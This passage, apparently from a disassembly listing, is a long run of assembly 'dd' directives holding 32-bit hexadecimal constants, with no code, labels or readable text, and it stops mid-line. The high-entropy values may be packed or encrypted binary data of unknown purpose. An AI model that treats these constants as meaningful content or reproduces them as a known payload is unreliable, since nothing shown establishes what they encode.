dd 4F5E6DDCh, 18B2325Dh, 0E0E1582Eh, 0EA67C2DFh, 437C01DFh dd 1CD9F113h, 42D05393h, 0BB052FFFh, 59CECBB0h, 33708125h dd 228AAEB4h, 22B4C03Eh, 7C31387Dh, 2022D738h, 65517D52h dd 33D3C053h, 9445E5A7h, 4559AE60h, 0C398DB9Fh, 0A8562C9h dd 2290D7Ch, 0DC027DB1h, 1DB6899Eh, 0F1EC3711h, 0BA9E0534h dd 0AD8DA91Bh, 277FE51Ah, 4D75B8FFh, 62620B94h, 0A0934E18h dd 4B9C1FBh, 0D689B7BCh, 0A928FB6Bh, 248E8312h, 1A68452Bh dd 7B75CF01h, 0C7BB8E61h, 3B2FB307h, 0CB8F12C4h, 575CE75Ch dd 2C37DE31h, 0EBF6E1ACh, 8971A09h, 99AAAFA2h, 7EEFD862h dd 34D93338h, 0AB39EB22h, 4B4EEB04h, 1FAA5302h, 0B680825Eh dd 25FD221Fh, 25B6D071h, 0BA457077h, 76D6F9Eh, 856D96FDh dd 80938482h, 8F80D7B3h, 0EFB0A998h, 0C667824Eh, 0FC1B8BAFh dd 0F32ADBF5h, 59F1CC65h, 9CD745F6h, 3C67D323h, 0CA11B9BDh dd 63D91E7Eh, 0C8A25928h, 0AB29076Ah, 0E067BB06h, 63A310Ah dd 0DC770F17h, 9AD4FDACh, 8B85D4F5h, 0A1B1FC53h, 620790CDh dd 0DCC10145h, 0A291587h dd 2FA3FB2Bh, 7438C1DBh, 4B15E363h, 15A2699Fh, 62F9D43Dh dd 8A7A3217h, 0A0010D2Ah, 0EC22890Dh, 2C9CF04h, 0A0B307CAh dd 104E227h, 3458A57Eh, 97EDCFECh, 47140FF3h, 59D508B5h dd 0A25C34E9h, 1845DCC3h, 868F7B73h, 0A43783E2h, 6EF008A8h dd 0DC3F1A78h, 4D92B320h, 0C2C3780Bh, 0F1A4BA56h, 5C0AA0C5h dd 0E177422Bh, 5CE7D049h, 4203B134h, 3C55D8A7h, 5C0E7483h dd 0AC319D4Fh, 1DF0D50Ah, 0A1BB967h, 0ED736F36h, 40686DFEh dd 0B80C243h, 31903FB1h, 3730A0BCh, 0CE709C4Dh, 8F49AFB5h dd 20256B4Ah, 0C0728B63h, 724F97F6h, 9A716FA5h, 4E4F7003h dd 95CE5ABEh, 7710ED51h, 0E81A54D1h, 582248Ah, 0CB04C803h dd 0A8AD55EAh, 0B301D341h, 32BDCB32h, 60A15180h, 983A10D4h dd 19C2F84Fh, 898A99A0h, 83B3FAC0h, 8220E22Dh, 0B4B14100h dd 44930C1Dh, 0E84E74E8h, 40CCFCCFh, 493D8C18h, 4735B245h dd 4E52E560h, 5597255Ch, 908044FCh, 16FFE42Eh, 90B520F4h dd 9649EEE5h, 4AAC3B5Bh, 734A552Eh, 220305D8h, 59045794h dd 127D57BAh, 2C96318Eh, 648C2BFCh, 0BA06D0E1h, 0F4415254h dd 0C052988Bh, 4BB35FEEh, 0DF59646Ch, 0CD29444Ch, 7C1F6922h dd 0EF8604F9h, 985C414h, 6E8F3E66h, 0C8F5A04Dh, 0D8369941h dd 1C9AA8Ch, 1B6A3F6Ah, 235305D2h, 0E1698113h, 4A627178h dd 0E28EC553h, 862B09FAh, 0B939F986h, 0AFBDEC29h, 4E82BE94h dd 3C4C10Ah, 0E436A23Ah, 18C09590h, 17FB600Eh, 42629A86h dd 0B62AB6EAh, 6400FF5Ah, 3E7E3F47h, 632175EAh, 325487C8h dd 0D98181A8h, 0D64FDF82h, 144E0801h, 0C87ECE80h, 0C386ABEh dd 82F933B8h, 4BC50FDCh, 0A8411301h, 55C6FE1Ch, 1F8098A3h dd 0F020A68Ch, 0D7C0E35Dh, 24826138h, 41D73D63h, 1F8760CAh dd 2AB215C2h, 0ACE1CD06h, 8C804C61h, 60062A24h, 0F021955Eh dd 0F8877610h, 0C8BFE443h, 9707714Fh, 3AF6DB04h, 5258E827h dd 0E291C740h, 0F2B599Ch, 2651E2Dh, 88897489h, 747F6709h dd 46048828h, 52022101h, 40A3B044h, 24C8D80h, 0AEB20249h dd 26B7FDCAh, 0EA7A36D6h, 0C636EA1Ah, 39045313h, 0EF0024C2h dd 0C177541Bh, 659C51E2h, 0A2507DCBh, 0BF49C014h, 3CE07A1Eh dd 0BC812F7Fh, 4F3EF631h, 0E0A8F91Eh, 0E1D60874h, 90EA86BFh dd 71611A18h, 0BB700DD0h, 4169D2A4h, 1E7E016Bh, 0D776000Ah dd 9B00C2h, 0AC5C97CDh, 4524537Fh, 0F9B5AD10h, 58CC0993h dd 5E1DD628h, 14250668h, 819D4724h, 0A0A91978h, 23B29143h dd 7D866933h, 0E88CA5AAh, 34CA71C4h, 5FF4BEA7h, 8CF68FAEh dd 0D160ACD8h, 516A5470h, 0F3F16745h, 8F776654h, 24B672Fh dd 665964E0h, 2B082B18h, 6788C769h, 17A37AD2h, 13B4BC03h dd 0CB713E53h, 1B604A90h, 70987001h, 0D0B227Ah, 786E9C74h dd 582337DDh, 0CFF12117h, 92131828h, 34CF05Ch, 11477CA9h dd 0C1518D2Ch, 0E3FD1799h, 520CD684h, 5D1A0141h, 4C5C212Ch dd 0CD8DC440h, 0FAD4ED05h, 48213824h, 59B0EC2Fh, 0E5E53A89h dd 977381h, 0B9C2014Dh, 8720AFCEh, 0A063E603h, 86FD6452h dd 295C77BBh, 0BCF589DFh, 3E10B4C3h, 0CCAFCE91h, 23B46498h dd 621D7E46h, 0B62261E0h, 0EF122E93h, 1B752C0h, 0D80AA2F8h dd 0E123354h, 91837D15h, 2D2C64EAh, 7EC17AE5h, 885AD31Fh dd 8602A543h, 6384C83Eh, 9D0462F7h, 0ACE240D5h, 2B3E6310h dd 240A03BCh, 12B888Ch, 0A03DEB21h, 3C5DF5B9h, 0B4862E93h dd 0D4562208h, 0F1784B3Eh, 8F472042h, 0FBF27EFCh, 0FD3DD189h dd 0B065668Eh, 0A7588C73h, 7903E0ECh, 8750FA40h, 9C5EB5Eh dd 6F96C852h, 31A1400Eh, 0EDED4BACh, 0C5E552CEh, 60F8DF04h dd 5004D8E6h, 78FC0A85h, 0E0BDBF01h, 9C370726h, 0A31A0179h dd 83088CE4h, 50575CEEh, 5614FB92h, 53037F8Fh, 3A304E24h dd 0E4B4E6C0h, 304BE8AAh, 0F6FB346Ch, 0EA240422h, 302E5645h dd 6655E0BDh, 7586DEC4h, 4059DA5Bh, 2595B277h, 75946437h dd 0B14EE0D6h, 9D12A4ACh, 0F343CC8Fh, 3C0498BEh, 0A432886Bh dd 1EB84D2h, 133F4E12h, 344A544h, 0F68EA865h, 3926E927h dd 557CD011h, 0A49D717Ah, 9E2B4D2Eh, 91B395E4h, 84C65650h dd 0F6ADFD9Ah, 48B77DF9h, 25DC22Eh, 1044C427h, 0E9328FFAh dd 300C3EE0h, 6359C7Fh, 8A05BE51h, 4F5452BBh, 51550E31h dd 13C209h, 0D64A7800h, 15081063h, 0B18790C1h, 7356449Dh dd 71940BDh, 44266616h, 0A6FB0333h, 611ECD8Bh, 10800AE2h dd 0DCDBB828h, 3D6E33Eh, 7FDC5F50h, 18C11435h, 0ACFA05D2h dd 0F574DA16h, 0CD01E821h, 86349080h, 0DE1CA4B6h, 0AE4A218Ch dd 0B73A0CCFh, 0C10BC065h, 3D7E73E4h, 99F4213h, 0AE910602h dd 0BFC481Ah, 0E112B639h, 2B5D5EF8h, 2B635CE2h, 96A421D2h dd 0F5C10769h, 60733FAh, 3C100C0h, 5E038AEBh, 967FF9D5h dd 948F4290h, 17C6B95Eh, 0EEA0E7DFh, 562285F1h, 0B20853E4h dd 0FD34CDBAh, 29069F0Fh, 3BC0A382h, 666A06A6h, 0BBB040FAh dd 0A55550Ah, 0B861FA70h, 6716788Eh, 3002CAAAh, 0B4300F87h dd 0F9EF0E02h, 68AF96DDh, 55DEDCE4h, 6B8CD032h, 88C7A3E8h dd 28B2BD98h, 0C6AF6Ah, 5AE2B035h, 9C582025h, 27332E91h dd 53ED3260h, 2B4001BCh, 340621A1h, 0AC4C041Eh, 4CA0600Dh dd 1AA79D85h, 0C36330E8h, 16E3F3EDh, 0CC54C93h, 5C50A9E1h dd 0B25D2DFh, 28401018h, 0D2906721h, 35848E42h, 4AC333Fh dd 0CFA975Fh, 31A7A1B0h, 172A0324h, 0E55A9142h, 9D52D6A7h dd 6178BFF6h, 57C94895h, 0D9A1F52Fh, 168DE465h, 290460B2h dd 0A6089F80h, 429460CBh, 6230A2B2h, 0F88E1018h, 8DBCBF31h dd 0DE208621h, 21E47FD9h, 0BD1C7431h, 0A3E02BA9h, 6D35CD53h dd 0E818932Ch, 4C5FF584h, 0C6E5D85Ah, 0C5581E9Eh, 7086D0F5h dd 3C33599Dh, 12E8BF0Ch, 0F29735A4h, 0F4CAC532h, 1627E0A5h dd 0B1BD5E86h, 4B15F971h, 6AC088D0h, 5489048Fh, 0BC25021Fh dd 6A95D850h, 571A804Bh, 0CFF201Ch, 97883A9Bh, 8E29D260h dd 811D7198h, 468CEB40h, 0EB1C54B5h, 212D485Bh, 0F417ECF0h dd 96231C8Dh, 0CA15829h, 0BE614AEFh, 597E12AAh, 74E3315h dd 0E45190BCh, 8A4FF979h, 0E1046EBh, 1ABC80E2h, 67E4F7FFh dd 8A58310Bh, 4C9830A9h, 81B37206h, 0EFA03D63h, 32471087h dd 1BB4D57Ah, 2803AA0Ch, 0BAF6FD10h, 4FE677C4h, 4304DE2Eh dd 0C6030C89h, 0CB695414h, 90A86842h, 1DCB4169h, 39C8FF18h dd 82C5303Dh, 0FCBD4B04h, 82082181h, 0B6DEF1CEh, 0F5D4B8A7h dd 2AC50941h, 7DC18EF2h, 0BA526A0h, 1C0FCBDh, 8DB212ADh dd 2388579Fh, 0A34CBFEh, 0A04FA6FFh, 86EBBC5Ah, 0D6D878D1h dd 0A5583EAh, 0A8AACCC9h, 60C8BD4h, 0D892D2D4h, 0A50250DCh dd 5A17EF88h, 0DA286554h, 1C44214Eh, 1121049Ah, 9D089C0h dd 0E1ABEB67h, 10067565h, 0B3A30B64h, 693F07C3h, 86493EF6h dd 574D5882h, 744C6C5Bh, 8D3A1BC3h, 7BC3F3C4h, 120E13D8h dd 38ABFF5Ah, 3C6D10FEh, 37C4A676h, 0F307681Ch, 4A4959Dh dd 0F0882530h, 3B804072h, 0E0B6179Ah, 508110F1h, 420C8019h dd 660083E3h, 8F1D8D8h, 0DCDCDF0h, 824A13BEh, 703FEE96h dd 2B72EA07h, 0F811A221h, 0A2AB83E0h, 0F5DD4F5Fh, 36BDC3A0h dd 9D383176h, 0CEA1EA8Bh, 0DC40CAC0h, 0FCC1F295h, 55F8D2B5h dd 79BEF08Ah, 0D1AB3EE8h, 8A1713Bh, 0DE384F26h, 32039052h dd 0D3CE0C6Eh, 16534457h dd 4D713E85h, 490B0864h, 95514814h, 7F49ADFDh, 0A5138F62h dd 0DA06AFBDh, 8BA6BE7Dh, 8700D421h, 75A444E0h, 60FF4211h dd 9C7334BBh, 4574320Bh, 0DA647EA6h, 0F7EBFDF8h, 9B0A0609h dd 1375C86Fh, 0C9C927FAh, 4983958Eh, 181FCFAEh, 822BE0F8h dd 0E20282E5h, 0C19179B0h, 4149684Ah, 0BE0A2F30h, 0BCA67E0h dd 81BBC624h, 0F2ECA508h, 0BF7C03A1h, 129F46C7h, 3F1F1FFCh dd 0CAF8832Bh, 7C780621h, 0BD8A6031h, 0B4AE5898h, 496EF73h dd 1273ABFCh, 0AD29289Bh, 2976F149h, 8314CD03h, 8078281h dd 8287A1B1h, 0F5760FD8h, 2AC6F4EFh, 0B5A8811Eh, 2F8C0174h dd 18BE298Dh, 8DEA5F85h, 486A7B74h, 451946E9h, 8BE588E4h dd 28C581F9h, 18200223h, 8052F6D5h, 294CA7B1h, 0D08458BFh dd 0C490605h, 18042009h, 0B5590ABAh, 0E5322672h, 667E2FF7h dd 4032B233h, 8182582Ah, 0C42409D2h, 60790785h, 0E2A90627h dd 4C7875B1h, 45369073h, 0E096120Ch, 9C971FFEh, 38A6031Bh dd 0D889017Dh, 3FA7966Eh, 0D84C4C5Fh, 0E6C6EB1Dh, 0B2216580h dd 1290D118h, 1FA73183h, 0AD829788h, 404F801h, 94C262B3h dd 0D0991667h, 955A3170h, 0C4C6C62Dh, 227F8BF0h, 219489D7h dd 9686CFFCh, 0E08C93F4h, 0F448E8E5h, 0E4B539Dh, 0D4D6DB0h dd 0C3ECF6Eh, 860A9C1Fh, 0A0BB0748h, 54EA629Eh, 0BB04F4A6h dd 0B23B3FFEh, 84200067h, 3AA8D09Ah, 1E930FD8h, 0CC12110Ch dd 0FEA41036h, 0B0C8083h, 2A0550D8h, 860E9CC0h, 0FF02A322h dd 0C288C104h, 7BAA59ABh, 0A3AE316Ch, 51109D85h, 0B66B09E0h dd 671A7C30h, 2601D531h, 9CC3F348h, 0F2B39931h, 911F9014h dd 0B5220CC9h, 85A56544h, 0BBE128BAh, 0A1A15DE7h, 82841E86h dd 0C60F853Bh, 86C37346h, 5B89D17Ch, 6DEBF880h, 0AD1830DAh dd 66AC5EFBh, 0A2C03762h, 867E56A2h, 8696B451h, 7982A9D5h dd 6188AE56h, 0EE7C7BFCh, 0D35D8BB4h, 0D6BE1028h, 73BF4968h dd 72F0C38Bh, 479EFD3Fh, 44F27F38h, 7DBAB883h, 4FCFF18Fh dd 0A2FE7E8Ch, 558BF5A5h, 0FBF83423h, 22E7EC4Eh, 4B679AECh dd 230B1935h, 0E85F8839h, 0AD4E029Fh, 0F5773D54h, 0B72F1C50h dd 0DD6FF80Ch, 0D18E3810h, 455338BEh, 5EBFC04Fh, 1AAC682Ah dd 0CE223034h, 82284ADh, 80A07EF7h, 0BF68EC7Ch, 9148153Eh dd 861F7149h, 73216839h, 0AE3EB928h, 0DA57361Fh, 8B95185Eh dd 591748A3h, 26028825h, 0C5490886h, 0A8605A86h, 0A589383Eh dd 4CC0E61Fh, 173F8EB1h, 87F0A850h, 0E3324E1Eh, 462F2E0Dh dd 8C440D6Eh, 3CC08628h, 48AA937h, 768E9970h, 0D483AA0Ch dd 0B62CA8A6h, 0C5CBD0BEh, 61650C09h, 7556456h, 0C5FFE694h dd 617DC6F8h, 0A4CF8CCEh, 0ADE57BA7h, 0EA0BEFB7h, 0B3D44CFFh dd 0CA60ACA0h, 9549D69Dh, 9CB5B0F3h, 56BF0461h, 0DF204806h dd 0D1F85E4h, 0C584BD1Fh, 0F222D7F7h, 5A842D53h, 507C10A9h dd 0E3D401F1h, 59FD383Fh, 92BDEC19h, 0C3F0F9BFh, 196C3BFBh dd 2D9090D1h, 5B62972Ch, 64C497D9h, 0F7364E3Ah, 0EC91E209h dd 1443C7A1h, 0FE87D731h, 0BC00023h, 0F648DD67h, 0B98B954Dh dd 59B617Eh, 5448630Fh, 18C812C3h, 0EAA91992h, 168C5406h dd 11C0990Ch, 97AC30Dh, 0E08A5ADEh, 0DD803887h, 0A12284B4h dd 128C7A10h, 0F3E22FE4h, 0C6295525h, 6F0D2190h, 8419808Ch dd 50BB72C8h, 0C7070FF2h, 0C113ECA4h, 318D0058h, 2F9D8092h dd 0C267C5A6h, 0B312D3F7h, 0E3156C05h, 5EC111FBh, 71B4E7AEh dd 0FA134F43h, 3164E6EDh, 2B987B82h, 0C8DE9BC6h, 0DD411777h dd 8C2CE84Ch, 9D32AC54h, 5E324C28h, 881823FCh, 1190EFC3h dd 997F63A2h, 8A43104Eh, 1B7919A0h, 0F1C88223h, 3AD70409h dd 2426D4EEh, 0A5469C66h, 26CC271Bh, 4C2381C5h, 8236049Ch dd 81B41B42h, 93AA128Dh, 6EB36D0h, 0B29C3257h, 731D30C6h dd 0F895541Bh, 517A2B12h, 36CC5D53h, 3ACA77C7h, 0C1F448A5h dd 8E205828h, 0C20B05D6h, 0C13E33h, 69810413h, 60D0886Ah dd 0A21752ECh, 0AA08C4D1h, 522F4955h, 0A84AFF4h, 0C0D5B5F9h dd 0AE3756E8h, 0BFD70CBAh, 48BE355Dh, 83C9EBFh, 4EFD0E9Dh dd 518C630h, 58AF042Fh, 0B2CAF108h, 2551D70h, 62058A97h dd 0A67DCBDCh, 1A52826h, 434BBC2Fh, 0C1690BC1h, 155A86D1h dd 260D3CD4h, 0F7A8C6E1h, 1941A2h, 0D4295021h, 0DFB60470h dd 0F9E4C8Fh, 0BCC3218Eh, 10B21F03h, 0C46714F2h, 0FBC3872Ch dd 0C6E53EE5h, 192B97Eh, 0BBCFC8DCh, 0C78277FAh, 0FF950DD1h dd 157A91F8h, 98FEC47Bh, 1E80490Fh, 932800EFh, 7BC25FE0h dd 4E3701Eh, 48F691h, 0AB0E03Dh, 0C6D26662h, 86D9515Eh dd 4D943E0Eh, 20BFC775h, 852BA7C3h, 528285C2h, 0A57FE13Ah dd 0D3121994h, 3D4495F0h, 0E1660593h, 551A10CDh, 90D0A4ACh dd 0E0288653h, 8A716184h, 0E133D98h, 28B3DBACh, 97D37882h dd 3F95A62Fh, 0A5DDF529h, 14F70841h, 1E41375h, 75F1659Ch dd 0BCAD898Ah, 2831B708h, 0FCE0F033h, 0E6B90563h, 0AA53FAA1h dd 99DB4DC1h, 2585FF94h, 0ED2D6BA3h, 56D77272h, 3AAD21C7h dd 0B0B4CAF8h, 81F6A386h, 3378F025h, 0B686677Fh, 0C5A7FA29h dd 1768D943h, 0E565EDC7h, 0AFC13329h, 14CFC4DAh, 0CA3E2765h dd 9F85C533h, 3721DAA2h, 14CF31D4h, 0A330AE64h, 7320D48Ch dd 0F56545B6h, 714DA67Eh, 30060A79h, 6581C481h, 2BE75FDBh dd 0FA878221h, 62704054h, 0BA02CB64h, 14F77CAh, 49898538h dd 0D52B2A11h, 6C71C580h, 6330BF4Ch, 18124F8Ch, 8028AD88h dd 600300C0h, 9D81A300h, 0B8A60692h, 4D3AE5D6h, 0C4569EA4h dd 18B94281h, 0CE7FC6D1h, 10EA1966h, 0D846AE4Ah, 1754696Ah dd 20B22E98h, 0C0F0BDBAh, 8613BA9Fh, 6E1E9936h, 6D18637Ch dd 1022048Ch, 939DD1DAh, 0A8B702A3h, 0A43F8CB8h, 6549218Bh dd 0C9481B3Ah, 48522BB0h, 0B933B4B7h, 62D0C372h, 0E986E94h dd 3B0B04C5h, 80401154h, 49C3B223h, 0A882CC5Ch, 0B245010Dh dd 2E2EE033h, 5B24ED9h, 0DDA8B475h, 0AF1BE71Eh, 32F420E7h dd 0EB287483h, 0A054A43Ah, 0C6E94C28h, 5DDD317Bh, 97A49066h dd 71468771h, 0A41DBBA1h, 730D3481h, 0ECB3790h, 2D7B00C3h dd 196B2877h, 12016565h, 465842E5h, 0BB1699D9h, 0EB2C9943h dd 250E2C50h, 40274C71h, 39CE3719h, 0A2532CB1h, 16084487h dd 2C4B9687h, 0E7E38BCBh, 0B2985391h, 8BE8E081h, 5ED4463Fh dd 81A152E3h, 0D652F651h, 9DDA8405h, 0FADBB886h, 0ECFB2C31h dd 0A4604014h, 6E5A9FAEh, 92973C57h, 87ABF421h, 7FA560F8h dd 0A069BC35h, 7AC0415Ah, 0B6860915h, 0E5E5C7ECh, 698A20ECh dd 768C61F6h, 17762C61h, 4409DB21h, 0BE0FE55Ah, 0D3B1A6ECh dd 0A60CF541h, 10EC6902h, 0BE3FCAEBh, 0E4E062C8h, 7566A063h dd 5FCD2C4Bh, 9EEAEB2Ch, 0F910DC13h, 0FD110C4Dh, 0E4F04E74h dd 6DC789A6h, 24AC0BFh, 0E3137ED3h, 4392AC99h, 0C4D20918h dd 0AB2888C8h, 52AC0153h, 6A01180h, 0C072650Ah, 311012D6h dd 4A2E198Ah, 0B0C7FB70h, 0A1C003E3h, 208019C7h, 0BA4384D6h dd 69609102h, 48169332h, 8A64E910h, 54A21396h, 4C385302h dd 114C298Eh, 93EF0985h, 5AA08261h, 82A0CBA2h, 0D1914581h dd 7E2F63EFh, 0C304F2F0h, 942F7F07h, 2C2D85F2h, 1A700846h dd 60A08150h, 6066098h, 2BE9361Dh, 2DFA05D6h, 0ED3EC1C1h dd 0CED88F17h, 5FD4E0A1h, 6C6BCFFCh, 0F2335CE5h, 84251E2Fh dd 2B1D2049h, 930CC372h dd 208C8412h, 55EF886Ah, 2E8205A1h, 1C83A460h, 0C70D1C88h dd 0A0A4346Ah, 62C0C81Dh, 225963F8h, 47C133B9h, 27AE8BF2h dd 8623BA4Dh, 0C7D4B948h, 52C7E617h, 4371310Ch, 0AB79250Bh dd 2DA5381Bh, 78639146h, 88F38DB1h, 360880CDh, 7F196F3h dd 8C75B1D9h, 7D41206h, 0FC6E0813h, 8193881Ch, 0C982F76Ah dd 701BE729h, 0B8803B41h, 36289A40h, 8A3F01B5h, 8325AC67h dd 0E78A01A8h, 0FC7D4414h, 1B983E47h, 9E908D38h, 3C639E07h dd 32075C2Fh, 0EAF0D189h, 0AC44318Eh, 0A08C5516h, 0CDF601FEh dd 8D5D18h, 83E53811h, 0AB24DD83h, 0D53501AAh, 68ADBD38h dd 0F9605084h, 8051F3E2h, 78327DAh, 80949042h, 0ED28937Fh dd 0DD289227h, 0BF092227h, 0BEFB1227h, 0EBFF5806h, 17814E6h dd 4D26F312h, 7D74034Fh, 29094A5Bh, 8F608B17h, 18672975h dd 0CC4829D0h, 0FB29AE30h, 1B2667CBh, 7420CD84h, 0C902055Fh dd 83618AD2h, 0FE190C5h, 83469992h, 0F932897Bh, 24582703h dd 9902F606h, 0E504151Dh, 0D41D1D23h, 6168408h, 1228092h dd 0C4599DDAh, 0AA9D91F7h, 0E0DFC627h, 6A805CB7h, 56EE9E3Fh dd 2575B368h, 1EAB914Ch, 12B28AB2h, 75110557h, 0C670B1Fh dd 7D9A1325h, 60A3628Bh, 0C0D77000h, 67F4BD6Eh, 0E93DFB46h dd 41658794h, 11578824h, 4089C4E4h, 0C08A5884h, 8F90DC33h dd 23C43E4h, 0F425EF90h, 6109070Ch, 60C16008h, 3E4D4A27h dd 80F785C8h, 8FBB8DDDh, 982E23BAh, 63152541h, 0BBC0E150h dd 8F574C8Ch, 28A5BB25h, 0E6087E85h, 6ED03D76h, 3897381Ah dd 5A38094h, 4645ACCBh, 76A1050Dh, 30E0CDC2h, 5429348Fh dd 68FFB174h, 20481963h, 921236Ah, 0F33F7393h, 2058C449h dd 0F5DE1ACBh, 0B060BF9Ah, 0C1197748h, 125E30E2h, 3D48F48h dd 0B86B2A25h, 4302506Ah, 8877B0E1h, 8FD3C71Bh, 18BB5D1h dd 0B3EE9DFBh, 55F5EC27h, 43521180h, 5CC9D518h, 0B6E4E704h dd 4AC78812h, 882F517Fh, 0B881F90Ch, 91C884E9h, 0E57CBAD2h dd 605DBEC7h, 8C881C20h, 0D1B620CAh, 8FC1C40Dh, 0FC689C03h dd 354F54Ah, 8D510803h, 0C58C8BAFh, 0A2481B84h, 2A5F7518h dd 210AC7ACh, 336AF31Ah, 3386B095h, 8B1ADFD6h, 0BC2DA288h dd 17F9480h, 2C86EAD9h, 0B791DEB8h, 0C0E7EBF5h, 0B25DE17Ah dd 0BD3CCD75h, 540CC562h, 0B50A9740h, 0FDA58570h, 291844FAh dd 0FBE06D9Ch, 0CB425FB2h, 4A0F0491h, 80B9886Bh, 0A0F28EB4h dd 0D72DAF02h, 0A15F9245h, 0E7568B29h, 195A1B06h, 96DAD469h dd 945D24Ch, 60F1B3DDh, 4671EB6Ch, 1B2402ADh, 430381C0h dd 7E200BBEh, 92ACD2B2h, 0F8AB3748h, 0B70DC557h, 6393E418h dd 0E3A04879h, 62E23E4Eh, 0AE5DE54Ah, 45A50BA3h, 0CEAA21CBh dd 0AB97067Ah, 0E6F55F3Dh, 0CE281504h, 1EC201D4h, 2FAE4B54h dd 303BB6A8h, 439A2CA1h, 0DB67B724h, 0DD80D31Dh, 3AC720CAh dd 0B0650410h, 744A0DEDh, 0C231D481h, 3B3F2AD1h, 0B7450A42h dd 2C88C559h, 4381DF2Ah, 0FE563474h, 0F86860Bh, 81E33ACh dd 90B1F80h, 45FE0F82h, 19BE2ACDh, 0D6BE60A5h, 0FDE13037h dd 0C20B0F85h, 0B6782CAAh, 0FF4C4586h, 5094C091h, 17F51D69h dd 9166EE3Fh, 4D80BA3h, 2E296770h, 0D5891FAEh, 2B01F90h dd 0C890FDDDh, 0C774941Dh, 2BBC0B17h, 0B12A8256h, 9956340Ah dd 6218B345h, 33FB55A4h, 355AD221h, 2C833107h, 310E652Fh dd 2A348AC6h, 9A85105Bh, 36DF3D12h, 8D325D83h, 0B6673490h dd 220322E8h, 0B2C3D82Fh, 178079D1h, 0C1D30092h, 40D2640Ch dd 0F5F94D40h, 0C43114Eh, 9C3D889h, 0C724BDEEh, 0E3594BC8h dd 1BD7AB51h, 24ECDD40h, 8B1270CBh, 11900B39h, 249FC6B9h dd 1E1FE00Fh, 607DAB9Ch, 2326BFF8h, 1626CC93h, 8A539323h dd 5F7F60FEh, 0C96066CFh, 6BDC0E0h, 1F9C070h, 0AAE7BF13h dd 0A729BECh, 4D311043h, 0E85A246Ah, 31C86A69h, 469B410h dd 4B855B4Ah, 0D45DD4C2h, 0B96F10F5h, 38BD215Dh, 6D4C419Eh dd 176374FEh, 48623688h, 6AA6060h, 48F70E3Ah, 94D16D90h dd 427E1812h, 0FC3726DCh, 54A18EC1h, 0B066A80Eh, 5B4203BEh dd 27FE6A04h, 764E1C36h, 746D23AEh, 3C14B2AEh, 80231850h dd 27F807E6h, 14EE5B00h, 5293190h, 6D035D7Fh, 0A0BFA019h dd 348E0AEFh, 0A0A09FB7h, 0A68BAADFh, 0A0FD732h, 5729B0C2h dd 590C702Eh, 0FDD7D658h, 0D630DA0Ah, 388BE4h, 6CD82005h dd 62F07438h, 8BB85959h, 0B08AA08Ah, 59BAAAB1h, 0CFD4DA71h dd 0C8FA4B28h, 0AF157AC0h, 8AF16C08h, 0A6E5AC07h, 0C34B5AB2h dd 0A945750Dh, 3162056Ah, 15E010EAh, 0AC27858Ch, 0F3AF80C1h dd 87A226EBh, 0FDB1366Eh, 0D728A0F6h, 748850C9h, 1E7EA993h dd 3B70D00h, 33C38090h, 9B284950h, 0A515701Fh, 0BDAC3400h dd 8393594Eh, 0CFD1BB94h, 8098981h, 46805685h, 9880BC54h dd 9DFF902h, 85122CFBh, 4557748Ah, 751F9725h, 4B989D49h dd 0DFD33121h, 9D5BBA46h, 4B388D6Eh, 690316B3h, 48821F8Ah dd 89109551h, 1A713AD8h, 0FDED06FCh, 7B90FC4Ah, 997BA602h dd 0B10D768Ah, 0D66652Bh, 7F070E30h, 0CFF07C93h, 5183439Ch dd 4D656A20h, 0DA019C4Bh, 0AB330D40h, 1A9C173Ch, 0C466A964h dd 644E62D5h, 5E55DF9h, 0EA1A06Dh, 0ED4596Fh, 0C52C06Ah dd 520E13Eh, 0FA04EBAAh, 0CDD38240h, 5C80F941h, 8DD6D82Bh dd 2266348Fh, 17E809C6h, 0B55F800Fh, 2B88A321h, 898B1B78h dd 5818432h, 0F44DC898h, 990CC168h, 541EFFFDh, 3E583589h dd 0F5EE6E41h, 0C5C58359h, 98E38EC4h, 0AB9EC864h, 649D4068h dd 0ABD01141h, 0E60B2786h, 82844A5Dh, 23F7F7EDh, 445CB599h dd 0F99A64BEh, 0FCCDB002h, 640F7DFh, 6817F005h, 0C5D370B7h dd 55BB6148h, 0FA646130h, 74B6014Dh, 5AAE0547h, 0A1CA4885h dd 0A73ECCB1h, 0CD59020Ah, 0DF0E470Ah, 64220E49h, 311EEB47h dd 65D89F23h, 0EA97371h, 0B2EEC126h, 0C85E431Eh, 49908AE4h dd 4120C1A8h, 42D6C4A3h, 38C87C36h, 0DBAC39C5h, 4543169Fh dd 80BA1F8Dh, 7F881B7Dh, 7E415CE9h, 0EE345A97h, 568F0656h dd 40FF1E60h, 0D416EB81h, 40C80C8Eh, 71100593h, 0DA09DA56h dd 85FB7C5Dh, 0C574731h, 27DF5F65h, 8300F148h, 9DF2BDEBh dd 2B5384ECh, 316A058Bh, 0AD5260B4h, 76FB982Fh, 0F2113451h dd 18A85956h, 0A68DF036h, 5C3EA0E8h, 8FF58D84h, 33E60A4Bh dd 0D50A0DCAh, 798BCCF4h, 98B29B3Dh, 584BF8D5h, 72136683h dd 0E70742AAh, 301EF0FCh, 2523106Bh, 0FE68D408h, 0F92107F8h dd 0BEC7C15Ah, 214F648Ch, 63815ACAh, 0C80B9AE0h, 6AAE75FCh dd 999AFFAAh, 0D107452Dh, 604A853h, 0AFE774A2h, 0F33F921Ch dd 1A0A2632h, 2A8031B7h, 6C8EC672h, 0C73377D9h, 4F43024Ah dd 0E6C30568h, 560811C7h, 0BDFDB2F9h, 0CA7EDA18h, 3452B442h dd 0ACCE6403h, 4517F2C4h, 2E0E5A6h, 25DDB7F5h, 81662747h dd 0FD713129h, 0DE1ECC5Ch, 0A451604h, 71D981CDh, 4A037D8Dh dd 0D4493923h, 502BF1A7h, 81759281h, 123503FBh, 0EDDC779Eh dd 0AFBFEAFAh, 72713462h, 0FAE89041h, 0CCB499CCh, 2CC7AE31h dd 3BF1CB41h, 8B7BE3F8h, 975B7669h, 1E0B878h, 6E764BAEh dd 0BEBACD84h, 1E422A1Fh, 9C58B03Eh, 0DF02A181h, 9788EE76h dd 0B411A8B4h, 147AA20Ch, 0B0FDC54Ch, 4952A023h, 0A8EB556h dd 0CF2B554Bh, 7A2A5595h, 11F6AA05h, 0C92A8B3h, 0C2C30600h dd 0BEA43037h, 1D059AB4h dd 3D17C956h, 573D9C51h, 87F6F68h, 0E17CD281h, 2313B27Bh dd 10CB500Dh, 0BB68BA0Ch, 88041558h, 0A3D0D6EDh, 0FD54630Fh dd 0F396FC2Ch, 3E5ECC2Bh, 0A2058156h, 54BC285Ah, 38AC8C5Fh dd 687E5CD7h, 0FBAEADFh, 1A8D1236h, 28CD1D00h, 